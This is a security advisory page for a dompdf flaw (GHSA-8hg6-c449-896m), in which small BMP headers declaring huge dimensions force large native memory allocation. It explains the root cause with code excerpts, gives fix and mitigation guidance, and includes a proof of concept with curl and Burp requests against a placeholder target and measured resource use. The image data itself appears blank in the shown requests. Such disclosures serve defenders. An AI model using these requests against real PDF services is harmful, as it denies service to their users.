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GHSA-8hg6-c449-896m — dompdf/dompdf

Fix: dompdf/dompdf@7c65e7b

GHSA-8hg6-c449-896m is a Uncontrolled Resource Consumption vulnerability in dompdf/dompdf. A fix is available for dompdf/dompdf — see the affected versions and patch details below.

Dompdf: Uncontrolled resource consumption based on declared BMP dimensions

Also known asCVE-2026-59941
Published
Jul 22, 2026
Updated
Jul 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-8hg6-c449-896m.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐘dompdf/dompdf

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.

A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.

Details

Root cause

The image is processed based on declared dimensions and type alone — no pixel budget:

// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
    throw new ImageException("Image type unknown", E_WARNING);
}

For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:

// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
    $meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
    $width  = (int) $meta["width"];
    $height = (int) $meta["height"];
    $type   = "bmp";
}

At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:

// src/Helpers.php:868-869  — native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
    return $im;
}
// src/Helpers.php:940  — hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);

There is no maximum width/height or maximum total-pixel guard anywhere on this path.

Source-to-sink

  1. Attacker HTML reaches Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src).
  2. Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolve_url().
  3. Image\Cache::resolve_url() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).
  4. During render, Adapter\CPDF::image() identifies the BMP and calls _convert_to_png() (src/Adapter/CPDF.php:593).
  5. _convert_to_png() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.

PoC

erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.

The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:

<html><body><img src="" style="width:1px;height:1px"></body></html>

(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)

1 — Direct conversion

native imagecreatefrombmp exists: yes
dompdf_getimagesize  => 6000x6000 type=bmp
imagecreatefrombmp   => GdImage 6000x6000   (allocated from a 58-byte file)
Maximum resident set size: 160 MB        (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB           <-- GD memory is native; PHP memory_limit does NOT cap it

The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.

2 — Full Dompdf::render()

declared 6000x6000  payload 169 bytes  render 5.8 s  RSS ~417 MB  output 106 KB
declared 10x10      payload 169 bytes  render 0.01 s RSS  ~30 MB   output 1.4 KB

3 — HTTP reproduction (curl / Burp)

Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.

curl:

curl -s -X POST "https://TARGET/render" \
  --data-binary '<html><body><img src="" style="width:1px;height:1px"></body></html>' \
  -o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'

Burp Repeater (enable "Update Content-Length"):

POST /render HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/html
Connection: close
 
<html><body><img src="" style="width:1px;height:1px"></body></html>

Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):

[ATTACK ] declared 6000x6000  request=169 B  -> 200 application/pdf  output=106397 B  server peak RSS ~412 MB  wall 4.8 s
[CONTROL] declared 10x10      request=169 B  -> 200 application/pdf  output=1407 B    server peak RSS ~34 MB   wall <0.1 s

Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).

Impact

A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.

Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistdompdf/dompdfall versions3.1.6composer require dompdf/dompdf:^3.1.6

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompdf/dompdf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update dompdf/dompdf to 3.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8hg6-c449-896m is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8hg6-c449-896m can be triaged on real exposure rather than presence alone.

Tailored to GHSA-8hg6-c449-896m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. `6000×6000` is accepted and later drives `imagecreatetruecolor($width, $height)` (and PHP's native BMP decoder) to allocate the full pixel canvas. A payload can fit in a single HTTP request: the BMP can be inlined as a `data:image/bmp;base64,…` URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was
O3 Security · Impact-Aware SCA

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GHSA-8hg6-c449-896m: dompdf/dompdf DoS | O3 Security